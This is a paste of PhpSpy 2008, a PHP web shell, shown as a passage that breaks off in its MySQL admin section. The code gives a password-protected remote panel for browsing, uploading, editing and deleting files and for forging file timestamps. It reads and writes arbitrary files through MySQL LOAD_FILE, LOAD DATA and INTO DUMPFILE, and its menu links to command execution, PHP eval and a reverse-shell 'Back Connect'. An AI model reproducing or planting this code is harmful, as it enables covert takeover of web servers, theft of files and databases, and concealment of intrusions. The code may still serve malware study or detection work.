· 7 years ago · Dec 13, 2018, 09:44 AM
1<?php
2
3/*****************************************************************************
4
5===================== è¯·è¯¯ç”¨äºŽéžæ³•ç”¨é€”ï¼Œé€ æˆä¸€åˆ‡åŽæžœä¸Žæœ¬äººæ— 关。====================
6
7å‘布æ¤ç‰ˆæœ¬æ˜¯ä¸ºäº†çºªå¿µå®‰å…¨å¤©ä½¿æ›¾ç»çš„辉煌。
8
9æ„Ÿè°¢ä½ ä»¬ä¸Žæˆ‘ä¸€åŒèµ°è¿‡ï¼šSniper\Super·Hei\kEvin1986\saiy\wofeiwo。
10
11感谢所有的朋å‹ä»¬ã€å…„å¼Ÿä»¬ã€‚å¤šè°¢ä½ ä»¬çš„å…³å¿ƒå’Œæ”¯æŒï¼
12
13选择在1月7æ—¥å‘布是为了纪念我è€å©†çš„ç”Ÿæ—¥ï¼Œé¢„ç¥æˆ‘在本命年里。咸鱼翻身ï¼
14
15====================== 最åŽé¢„ç¥å®‰å…¨å¤©ä½¿çš„æ¯ä¸€ä½æœ‹å‹é£žé»„腾达 =======================
16
17Codz by angel(4ngel)
18
19Make in China
20
21Web: http://www.4ngel.net
22
23*****************************************************************************/
24
25error_reporting(7);
26@set_magic_quotes_runtime(0);
27ob_start();
28$mtime = explode(' ', microtime());
29$starttime = $mtime[1] + $mtime[0];
30define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
31//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
32define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
33define('IS_COM', class_exists('COM') ? 1 : 0 );
34define('IS_GPC', get_magic_quotes_gpc());
35$dis_func = get_cfg_var('disable_functions');
36define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
37@set_time_limit(0);
38
39foreach(array('_GET','_POST') as $_request) {
40 foreach($$_request as $_key => $_value) {
41 if ($_key{0} != '_') {
42 if (IS_GPC) {
43 $_value = s_array($_value);
44 }
45 $$_key = $_value;
46 }
47 }
48}
49
50/*===================== 程åºé…ç½® =====================*/
51$admin = array();
52// 是å¦éœ€è¦å¯†ç 验è¯, true 为需è¦éªŒè¯, false 为直接进入.下é¢é€‰é¡¹åˆ™æ— 效
53$admin['check'] = true;
54// 如果需è¦å¯†ç 验è¯,请修改登陆密ç
55$admin['pass'] = 'test!@#';
56
57//如您对 cookie ä½œç”¨èŒƒå›´æœ‰ç‰¹æ®Šè¦æ±‚, æˆ–ç™»å½•ä¸æ£å¸¸, 请修改下é¢å˜é‡, å¦åˆ™è¯·ä¿æŒé»˜è®¤
58// cookie å‰ç¼€
59$admin['cookiepre'] = '';
60// cookie 作用域
61$admin['cookiedomain'] = '';
62// cookie 作用路径
63$admin['cookiepath'] = '/';
64// cookie 有效期
65$admin['cookielife'] = 86400;
66/*===================== é…ç½®ç»“æŸ =====================*/
67
68if ($charset == 'utf8') {
69 header("content-Type: text/html; charset=utf-8");
70} elseif ($charset == 'big5') {
71 header("content-Type: text/html; charset=big5");
72} elseif ($charset == 'gbk') {
73 header("content-Type: text/html; charset=gbk");
74} elseif ($charset == 'latin1') {
75 header("content-Type: text/html; charset=iso-8859-2");
76}
77
78$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
79$timestamp = time();
80
81/*===================== èº«ä»½éªŒè¯ =====================*/
82if ($action == "logout") {
83 scookie('phpspypass', '', -86400 * 365);
84 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
85 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
86 exit;
87}
88if($admin['check']) {
89 if ($doing == 'login') {
90 if ($admin['pass'] == $password) {
91 scookie('phpspypass', $password);
92 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
93 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
94 exit;
95 }
96 }
97 if ($_COOKIE['phpspypass']) {
98 if ($_COOKIE['phpspypass'] != $admin['pass']) {
99 loginpage();
100 }
101 } else {
102 loginpage();
103 }
104}
105/*===================== 验è¯ç»“æŸ =====================*/
106
107$errmsg = '';
108
109// 查看PHPINFO
110if ($action == 'phpinfo') {
111 if (IS_PHPINFO) {
112 phpinfo();
113 } else {
114 $errmsg = 'phpinfo() function has non-permissible';
115 }
116}
117
118// 下载文件
119if ($doing == 'downfile' && $thefile) {
120 if (!@file_exists($thefile)) {
121 $errmsg = 'The file you want Downloadable was nonexistent';
122 } else {
123 $fileinfo = pathinfo($thefile);
124 header('Content-type: application/x-'.$fileinfo['extension']);
125 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
126 header('Content-Length: '.filesize($thefile));
127 @readfile($thefile);
128 exit;
129 }
130}
131
132// 直接下载备份数æ®åº“
133if ($doing == 'backupmysql' && !$saveasfile) {
134 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
135 $table = array_flip($table);
136 $result = q("SHOW tables");
137 if (!$result) p('<h2>'.mysql_error().'</h2>');
138 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
139 header('Content-type: application/unknown');
140 header('Content-Disposition: attachment; filename='.$filename);
141 $mysqldata = '';
142 while ($currow = mysql_fetch_array($result)) {
143 if (isset($table[$currow[0]])) {
144 $mysqldata .= sqldumptable($currow[0]);
145 }
146 }
147 mysql_close();
148 exit;
149}
150
151// 通过MYSQL下载文件
152if($doing=='mysqldown'){
153 if (!$dbname) {
154 $errmsg = 'Please input dbname';
155 } else {
156 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
157 if (!file_exists($mysqldlfile)) {
158 $errmsg = 'The file you want Downloadable was nonexistent';
159 } else {
160 $result = q("select load_file('$mysqldlfile');");
161 if(!$result){
162 q("DROP TABLE IF EXISTS tmp_angel;");
163 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
164 //用时间戳æ¥è¡¨ç¤ºæˆªæ–,é¿å…出现读å–自身或包å«__angel_1111111111_eof__的文件时ä¸å®Œæ•´çš„æƒ…况
165 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
166 $result = q("select content from tmp_angel");
167 q("DROP TABLE tmp_angel");
168 }
169 $row = @mysql_fetch_array($result);
170 if (!$row) {
171 $errmsg = 'Load file failed '.mysql_error();
172 } else {
173 $fileinfo = pathinfo($mysqldlfile);
174 header('Content-type: application/x-'.$fileinfo['extension']);
175 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
176 header("Accept-Length: ".strlen($row[0]));
177 echo $row[0];
178 exit;
179 }
180 }
181 }
182}
183
184?>
185<html>
186<head>
187<meta http-equiv="Content-Type" content="text/html; charset=gbk">
188<title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
189<style type="text/css">
190body,td{font: 12px Arial,Tahoma;line-height: 16px;}
191.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
192.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
193.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
194a {color: #00f;text-decoration:underline;}
195a:hover{color: #f00;text-decoration:none;}
196.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
197.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
198.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
199.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
200.head td span{font-weight:normal;}
201form{margin:0;padding:0;}
202h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
203ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
204u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
205</style>
206<script type="text/javascript">
207function CheckAll(form) {
208 for(var i=0;i<form.elements.length;i++) {
209 var e = form.elements[i];
210 if (e.name != 'chkall')
211 e.checked = form.chkall.checked;
212 }
213}
214function $(id) {
215 return document.getElementById(id);
216}
217function goaction(act){
218 $('goaction').action.value=act;
219 $('goaction').submit();
220}
221</script>
222</head>
223<body style="margin:0;table-layout:fixed; word-break:break-all">
224<table width="100%" border="0" cellpadding="0" cellspacing="0">
225 <tr class="head">
226 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
227 </tr>
228 <tr class="alt1">
229 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
230 <a href="javascript:goaction('logout');">Logout</a> |
231 <a href="javascript:goaction('file');">File Manager</a> |
232 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
233 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
234 <a href="javascript:goaction('shell');">Execute Command</a> |
235 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
236 <a href="javascript:goaction('eval');">Eval PHP Code</a>
237 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
238 </td>
239 </tr>
240</table>
241<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
242<?php
243
244formhead(array('name'=>'goaction'));
245makehide('action');
246formfoot();
247
248$errmsg && m($errmsg);
249
250// 获å–当å‰è·¯å¾„
251!$dir && $dir = '.';
252$nowpath = getPath(SA_ROOT, $dir);
253if (substr($dir, -1) != '/') {
254 $dir = $dir.'/';
255}
256$uedir = ue($dir);
257
258if (!$action || $action == 'file') {
259
260 // 判æ–读写情况
261 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
262
263 // åˆ é™¤ç›®å½•
264 if ($doing == 'deldir' && $thefile) {
265 if (!file_exists($thefile)) {
266 m($thefile.' directory does not exist');
267 } else {
268 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
269 }
270 }
271
272 // 创建目录
273 elseif ($newdirname) {
274 $mkdirs = $nowpath.$newdirname;
275 if (file_exists($mkdirs)) {
276 m('Directory has already existed');
277 } else {
278 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
279 @chmod($mkdirs,0777);
280 }
281 }
282
283 // ä¸Šä¼ æ–‡ä»¶
284 elseif ($doupfile) {
285 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
286 }
287
288 // 编辑文件
289 elseif ($editfilename && $filecontent) {
290 $fp = @fopen($editfilename,'w');
291 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
292 @fclose($fp);
293 }
294
295 // 编辑文件属性
296 elseif ($pfile && $newperm) {
297 if (!file_exists($pfile)) {
298 m('The original file does not exist');
299 } else {
300 $newperm = base_convert($newperm,8,10);
301 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
302 }
303 }
304
305 // 改å
306 elseif ($oldname && $newfilename) {
307 $nname = $nowpath.$newfilename;
308 if (file_exists($nname) || !file_exists($oldname)) {
309 m($nname.' has already existed or original file does not exist');
310 } else {
311 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
312 }
313 }
314
315 // å¤åˆ¶æ–‡ä»¶
316 elseif ($sname && $tofile) {
317 if (file_exists($tofile) || !file_exists($sname)) {
318 m('The goal file has already existed or original file does not exist');
319 } else {
320 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
321 }
322 }
323
324 // 克隆时间
325 elseif ($curfile && $tarfile) {
326 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
327 m('The goal file has already existed or original file does not exist');
328 } else {
329 $time = @filemtime($tarfile);
330 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
331 }
332 }
333
334 // 自定义时间
335 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
336 if (!@file_exists($curfile)) {
337 m(basename($curfile).' does not exist');
338 } else {
339 $time = strtotime("$year-$month-$day $hour:$minute:$second");
340 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
341 }
342 }
343
344 // 打包下载
345 elseif($doing == 'downrar') {
346 if ($dl) {
347 $dfiles='';
348 foreach ($dl as $filepath => $value) {
349 $dfiles.=$filepath.',';
350 }
351 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
352 $dl=explode(',',$dfiles);
353 $zip=new PHPZip($dl);
354 $code=$zip->out;
355 header('Content-type: application/octet-stream');
356 header('Accept-Ranges: bytes');
357 header('Accept-Length: '.strlen($code));
358 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
359 echo $code;
360 exit;
361 } else {
362 m('Please select file(s)');
363 }
364 }
365
366 // 批é‡åˆ 除文件
367 elseif($doing == 'delfiles') {
368 if ($dl) {
369 $dfiles='';
370 $succ = $fail = 0;
371 foreach ($dl as $filepath => $value) {
372 if (@unlink($filepath)) {
373 $succ++;
374 } else {
375 $fail++;
376 }
377 }
378 m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
379 } else {
380 m('Please select file(s)');
381 }
382 }
383
384 //æ“作完毕
385 formhead(array('name'=>'createdir'));
386 makehide('newdirname');
387 makehide('dir',$nowpath);
388 formfoot();
389 formhead(array('name'=>'fileperm'));
390 makehide('newperm');
391 makehide('pfile');
392 makehide('dir',$nowpath);
393 formfoot();
394 formhead(array('name'=>'copyfile'));
395 makehide('sname');
396 makehide('tofile');
397 makehide('dir',$nowpath);
398 formfoot();
399 formhead(array('name'=>'rename'));
400 makehide('oldname');
401 makehide('newfilename');
402 makehide('dir',$nowpath);
403 formfoot();
404 formhead(array('name'=>'fileopform'));
405 makehide('action');
406 makehide('opfile');
407 makehide('dir');
408 formfoot();
409
410 $free = @disk_free_space($nowpath);
411 !$free && $free = 0;
412 $all = @disk_total_space($nowpath);
413 !$all && $all = 0;
414 $used = $all-$free;
415 $used_percent = @round(100/($all/$free),2);
416 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
417
418?>
419<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
420 <form action="" method="post" id="godir" name="godir">
421 <tr>
422 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
423 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
424 <td nowrap><input class="bt" value="GO" type="submit"></td>
425 </tr>
426 </form>
427</table>
428<script type="text/javascript">
429function createdir(){
430 var newdirname;
431 newdirname = prompt('Please input the directory name:', '');
432 if (!newdirname) return;
433 $('createdir').newdirname.value=newdirname;
434 $('createdir').submit();
435}
436function fileperm(pfile){
437 var newperm;
438 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
439 if (!newperm) return;
440 $('fileperm').newperm.value=newperm;
441 $('fileperm').pfile.value=pfile;
442 $('fileperm').submit();
443}
444function copyfile(sname){
445 var tofile;
446 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
447 if (!tofile) return;
448 $('copyfile').tofile.value=tofile;
449 $('copyfile').sname.value=sname;
450 $('copyfile').submit();
451}
452function rename(oldname){
453 var newfilename;
454 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
455 if (!newfilename) return;
456 $('rename').newfilename.value=newfilename;
457 $('rename').oldname.value=oldname;
458 $('rename').submit();
459}
460function dofile(doing,thefile,m){
461 if (m && !confirm(m)) {
462 return;
463 }
464 $('filelist').doing.value=doing;
465 if (thefile){
466 $('filelist').thefile.value=thefile;
467 }
468 $('filelist').submit();
469}
470function createfile(nowpath){
471 var filename;
472 filename = prompt('Please input the file name:', '');
473 if (!filename) return;
474 opfile('editfile',nowpath + filename,nowpath);
475}
476function opfile(action,opfile,dir){
477 $('fileopform').action.value=action;
478 $('fileopform').opfile.value=opfile;
479 $('fileopform').dir.value=dir;
480 $('fileopform').submit();
481}
482function godir(dir,view_writable){
483 if (view_writable) {
484 $('godir').view_writable.value=1;
485 }
486 $('godir').dir.value=dir;
487 $('godir').submit();
488}
489</script>
490 <?php
491 tbhead();
492 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
493 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
494 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
495 if ($view_writable) {
496 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
497 } else {
498 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
499 }
500 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
501 if (IS_WIN && IS_COM) {
502 $obj = new COM('scripting.filesystemobject');
503 if ($obj && is_object($obj)) {
504 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
505 foreach($obj->Drives as $drive) {
506 if ($drive->DriveType == 2) {
507 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
508 } else {
509 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
510 }
511 }
512 }
513 }
514
515 p('</td></tr></form>');
516
517 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
518
519 //查看所有å¯å†™æ–‡ä»¶å’Œç›®å½•
520 $dirdata=array();
521 $filedata=array();
522
523 if ($view_writable) {
524 $dirdata = GetList($nowpath);
525 } else {
526 // 目录列表
527 $dirs=@opendir($dir);
528 while ($file=@readdir($dirs)) {
529 $filepath=$nowpath.$file;
530 if(@is_dir($filepath)){
531 $dirdb['filename']=$file;
532 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
533 $dirdb['dirchmod']=getChmod($filepath);
534 $dirdb['dirperm']=getPerms($filepath);
535 $dirdb['fileowner']=getUser($filepath);
536 $dirdb['dirlink']=$nowpath;
537 $dirdb['server_link']=$filepath;
538 $dirdb['client_link']=ue($filepath);
539 $dirdata[]=$dirdb;
540 } else {
541 $filedb['filename']=$file;
542 $filedb['size']=sizecount(@filesize($filepath));
543 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
544 $filedb['filechmod']=getChmod($filepath);
545 $filedb['fileperm']=getPerms($filepath);
546 $filedb['fileowner']=getUser($filepath);
547 $filedb['dirlink']=$nowpath;
548 $filedb['server_link']=$filepath;
549 $filedb['client_link']=ue($filepath);
550 $filedata[]=$filedb;
551 }
552 }// while
553 unset($dirdb);
554 unset($filedb);
555 @closedir($dirs);
556 }
557 @sort($dirdata);
558 @sort($filedata);
559 $dir_i = '0';
560 foreach($dirdata as $key => $dirdb){
561 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
562 $thisbg = bg();
563 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
564 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
565 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
566 p('<td nowrap>'.$dirdb['mtime'].'</td>');
567 p('<td nowrap>--</td>');
568 p('<td nowrap>');
569 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
570 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
571 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
572 p('</tr>');
573 $dir_i++;
574 } else {
575 if($dirdb['filename']=='..') {
576 p('<tr class='.bg().'>');
577 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
578 p('</tr>');
579 }
580 }
581 }
582
583 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
584 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
585 makehide('action','file');
586 makehide('thefile');
587 makehide('doing');
588 makehide('dir',$nowpath);
589 $file_i = '0';
590 foreach($filedata as $key => $filedb){
591 if($filedb['filename']!='..' && $filedb['filename']!='.') {
592 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
593 $thisbg = bg();
594 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
595 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
596 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
597 p('<td nowrap>'.$filedb['mtime'].'</td>');
598 p('<td nowrap>'.$filedb['size'].'</td>');
599 p('<td nowrap>');
600 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
601 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
602 p('<td nowrap>');
603 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
604 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
605 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
606 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
607 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
608 p('</td></tr>');
609 $file_i++;
610 }
611 }
612 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
613 p('</form></table>');
614}// end dir
615
616elseif ($action == 'sqlfile') {
617 if($doing=="mysqlupload"){
618 $file = $_FILES['uploadfile'];
619 $filename = $file['tmp_name'];
620 if (file_exists($savepath)) {
621 m('The goal file has already existed');
622 } else {
623 if(!$filename) {
624 m('Please choose a file');
625 } else {
626 $fp=@fopen($filename,'r');
627 $contents=@fread($fp, filesize($filename));
628 @fclose($fp);
629 $contents = bin2hex($contents);
630 if(!$upname) $upname = $file['name'];
631 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
632 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
633 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
634 }
635 }
636 }
637?>
638<script type="text/javascript">
639function mysqlfile(doing){
640 if(!doing) return;
641 $('doing').value=doing;
642 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
643 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
644 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
645 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
646 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
647 $('mysqlfile').charset.value=$('dbinfo').charset.value;
648 $('mysqlfile').submit();
649}
650</script>
651<?php
652 !$dbhost && $dbhost = 'localhost';
653 !$dbuser && $dbuser = 'root';
654 !$dbport && $dbport = '3306';
655 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
656 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
657 makehide('action','sqlfile');
658 p('<p>');
659 p('DBHost:');
660 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
661 p(':');
662 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
663 p('DBUser:');
664 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
665 p('DBPass:');
666 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
667 p('DBName:');
668 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
669 p('DBCharset:');
670 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
671 p('</p>');
672 formfoot();
673 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
674 p('<h2>Upload file</h2>');
675 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
676 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
677 p('<h2>Download file</h2>');
678 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
679 makehide('dbhost');
680 makehide('dbport');
681 makehide('dbuser');
682 makehide('dbpass');
683 makehide('dbname');
684 makehide('charset');
685 makehide('doing');
686 makehide('action','sqlfile');
687 p('</form>');
688}
689
690elseif ($action == 'sqladmin') {
691 !$dbhost && $dbhost = 'localhost';
692 !$dbuser && $dbuser = 'root';
693 !$dbport && $dbport = '3306';
694 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
695 if(isset($dbhost)){
696 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
697 }
698 if(isset($dbuser)) {
699 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
700 }
701 if(isset($dbpass)) {
702 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
703 }
704 if(isset($dbport)) {
705 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
706 }
707 if(isset($dbname)) {
708 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
709 }
710 if(isset($charset)) {
711 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
712 }
713
714 if ($doing == 'backupmysql' && $saveasfile) {
715 if (!$table) {
716 m('Please choose the table');
717 } else {
718 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
719 $table = array_flip($table);
720 $fp = @fopen($path,'w');
721 if ($fp) {
722 $result = q('SHOW tables');
723 if (!$result) p('<h2>'.mysql_error().'</h2>');
724 $mysqldata = '';
725 while ($currow = mysql_fetch_array($result)) {
726 if (isset($table[$currow[0]])) {
727 sqldumptable($currow[0], $fp);
728 }
729 }
730 fclose($fp);
731 $fileurl = str_replace(SA_ROOT,'',$path);
732 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
733 mysql_close();
734 } else {
735 m('Backup failed');
736 }
737 }
738 }
739 if ($insert && $insertsql) {
740 $keystr = $valstr = $tmp = '';
741 foreach($insertsql as $key => $val) {
742 if ($val) {
743 $keystr .= $tmp.$key;
744 $valstr .= $tmp."'".addslashes($val)."'";
745 $tmp = ',';
746 }
747 }
748 if ($keystr && $valstr) {
749 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
750 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
751 }
752 }
753 if ($update && $insertsql && $base64) {
754 $valstr = $tmp = '';
755 foreach($insertsql as $key => $val) {
756 $valstr .= $tmp.$key."='".addslashes($val)."'";
757 $tmp = ',';
758 }
759 if ($valstr) {
760 $where = base64_decode($base64);
761 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
762 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
763 }
764 }
765 if ($doing == 'del' && $base64) {
766 $where = base64_decode($base64);
767 $delete_sql = "DELETE FROM $tablename WHERE $where";
768 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
769 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
770 }
771
772 if ($tablename && $doing == 'drop') {
773 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
774 if (q("DROP TABLE $tablename")) {
775 m('Drop table of success');
